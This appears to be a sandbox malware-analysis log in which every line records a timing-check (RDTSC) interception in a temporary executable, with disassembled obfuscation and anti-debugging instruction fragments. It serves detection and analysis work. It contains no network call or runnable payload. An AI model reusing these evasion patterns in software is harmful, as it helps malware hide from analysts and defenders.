Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E81A8E second address: 0000000000E81AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FEBE0E5FDD2h 0x0000000b jbe 00007FEBE0E5FDB6h 0x00000011 jmp 00007FEBE0E5FDC6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E814B9 second address: 0000000000E814E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C467h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBE0B1C45Eh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E814E4 second address: 0000000000E814E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E814E9 second address: 0000000000E814EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E86C43 second address: 0000000000E86C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FEBE0E5FDB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E86C4D second address: 0000000000E86C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E86C5F second address: 0000000000E86C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E86C63 second address: 0000000000E86C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C0DF second address: 0000000000E8C0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FEBE0E5FDB6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C0EC second address: 0000000000E8C0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C0F3 second address: 0000000000E8C0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C0FB second address: 0000000000E8C11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEBE0B1C467h 0x0000000c jns 00007FEBE0B1C456h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C5C1 second address: 0000000000E8C5DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FEBE0E5FDB6h 0x0000000a jmp 00007FEBE0E5FDBFh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C741 second address: 0000000000E8C745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C745 second address: 0000000000E8C754 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBE0E5FDB6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E8C894 second address: 0000000000E8C89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E92850 second address: 0000000000E92858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E91674 second address: 0000000000E91678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E91678 second address: 0000000000E9167E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E919AF second address: 0000000000E919B9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E91AF5 second address: 0000000000E91AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E91DF3 second address: 0000000000E91DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E91DF7 second address: 0000000000E91E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEBE0E5FDC3h 0x0000000c jng 00007FEBE0E5FDB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E922B6 second address: 0000000000E922BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E922BA second address: 0000000000E922C7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DF5AD3 second address: 0000000000DF5B1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FEBE0B1C468h 0x00000010 jmp 00007FEBE0B1C463h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a push esi 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop esi 0x0000001e jp 00007FEBE0B1C458h 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 push ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBB929 second address: 0000000000DBB932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBB932 second address: 0000000000DBB945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0B1C45Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E96BC8 second address: 0000000000E96C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FEBE0E5FDB6h 0x0000000c jmp 00007FEBE0E5FDBAh 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 jmp 00007FEBE0E5FDC4h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d jmp 00007FEBE0E5FDC4h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E96C0F second address: 0000000000E96C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007FEBE0B1C45Ah 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E96C1E second address: 0000000000E96C25 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E17831 second address: 0000000000E17835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9B7B3 second address: 0000000000E9B7B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9B7B9 second address: 0000000000E9B7D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0B1C465h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9BC67 second address: 0000000000E9BC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9BC6B second address: 0000000000E9BC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9BC73 second address: 0000000000E9BCAC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBE0E5FDB6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FEBE0E5FDBFh 0x00000014 jmp 00007FEBE0E5FDC2h 0x00000019 pushad 0x0000001a je 00007FEBE0E5FDB6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9BF51 second address: 0000000000E9BF6B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBE0B1C464h 0x00000008 jmp 00007FEBE0B1C45Ch 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9BF6B second address: 0000000000E9BF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9BF6F second address: 0000000000E9BF75 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9C256 second address: 0000000000E9C290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FEBE0E5FDCCh 0x00000014 jg 00007FEBE0E5FDB8h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA0B3E second address: 0000000000EA0B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007FEBE0B1C456h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA0B4E second address: 0000000000EA0B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E581 second address: 0000000000E5E585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E62E second address: 0000000000E5E632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E632 second address: 0000000000E5E6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007FEBE0B1C456h 0x0000000f popad 0x00000010 popad 0x00000011 add dword ptr [esp], 28F85841h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FEBE0B1C458h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov dword ptr [ebp+14503A39h], ebx 0x00000038 mov cx, 6112h 0x0000003c call 00007FEBE0B1C459h 0x00000041 push edx 0x00000042 pushad 0x00000043 jng 00007FEBE0B1C456h 0x00000049 jne 00007FEBE0B1C456h 0x0000004f popad 0x00000050 pop edx 0x00000051 push eax 0x00000052 jnc 00007FEBE0B1C462h 0x00000058 mov eax, dword ptr [esp+04h] 0x0000005c push eax 0x0000005d push edx 0x0000005e push edx 0x0000005f push esi 0x00000060 pop esi 0x00000061 pop edx 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E855 second address: 0000000000E5E859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E859 second address: 0000000000E5E8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FEBE0B1C458h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 nop 0x00000025 jne 00007FEBE0B1C468h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007FEBE0B1C465h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E9A9 second address: 0000000000E5E9AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E9AF second address: 0000000000E5E9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5E9B5 second address: 0000000000E5E9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5EB9A second address: 0000000000E5EBA8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5EBA8 second address: 0000000000E5EBBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FEBE0E5FDBCh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F0C2 second address: 0000000000E5F0C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F300 second address: 0000000000E5F377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jnc 00007FEBE0E5FDC4h 0x0000000b nop 0x0000000c jg 00007FEBE0E5FDBCh 0x00000012 lea eax, dword ptr [ebp+14536D56h] 0x00000018 pushad 0x00000019 movsx edx, si 0x0000001c or si, 6CEFh 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FEBE0E5FDC4h 0x00000028 mov dword ptr [esp], eax 0x0000002b and edi, dword ptr [ebp+142A3942h] 0x00000031 lea eax, dword ptr [ebp+14536D12h] 0x00000037 jnp 00007FEBE0E5FDBCh 0x0000003d mov edi, dword ptr [ebp+142A38C6h] 0x00000043 mov dword ptr [ebp+142A1B25h], esi 0x00000049 nop 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e jng 00007FEBE0E5FDB6h 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F377 second address: 0000000000E5F37B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F37B second address: 0000000000E5F381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FC42 second address: 0000000000E9FC54 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FEBE0B1C456h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FDCE second address: 0000000000E9FDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 jp 00007FEBE0E5FDB6h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FDE5 second address: 0000000000E9FDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FF0D second address: 0000000000E9FF1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FF1D second address: 0000000000E9FF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FF23 second address: 0000000000E9FF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FF29 second address: 0000000000E9FF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E9FF2D second address: 0000000000E9FF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA01F1 second address: 0000000000EA01F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA01F5 second address: 0000000000EA021F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBE0E5FDBBh 0x0000000b pushad 0x0000000c jmp 00007FEBE0E5FDC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA03AA second address: 0000000000EA03B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA03B0 second address: 0000000000EA03CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA03CA second address: 0000000000EA03D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA054F second address: 0000000000EA0556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA0556 second address: 0000000000EA055B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA055B second address: 0000000000EA0576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007FEBE0E5FDBAh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jl 00007FEBE0E5FDB6h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA8AA2 second address: 0000000000EA8ABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C467h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA8C15 second address: 0000000000EA8C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEBE0E5FDBEh 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EA8C2E second address: 0000000000EA8C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEBE0B1C456h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EAB245 second address: 0000000000EAB24F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBE0E5FDB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EAB24F second address: 0000000000EAB26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEBE0B1C465h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EAB3BD second address: 0000000000EAB3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EAB3C1 second address: 0000000000EAB3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EAF41D second address: 0000000000EAF44C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FEBE0E5FDEAh 0x00000012 push edi 0x00000013 jmp 00007FEBE0E5FDC1h 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007FEBE0E5FDB6h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB502E second address: 0000000000EB5034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3AE8 second address: 0000000000EB3B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007FEBE0E5FDCBh 0x0000000b je 00007FEBE0E5FDBCh 0x00000011 pushad 0x00000012 ja 00007FEBE0E5FDB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
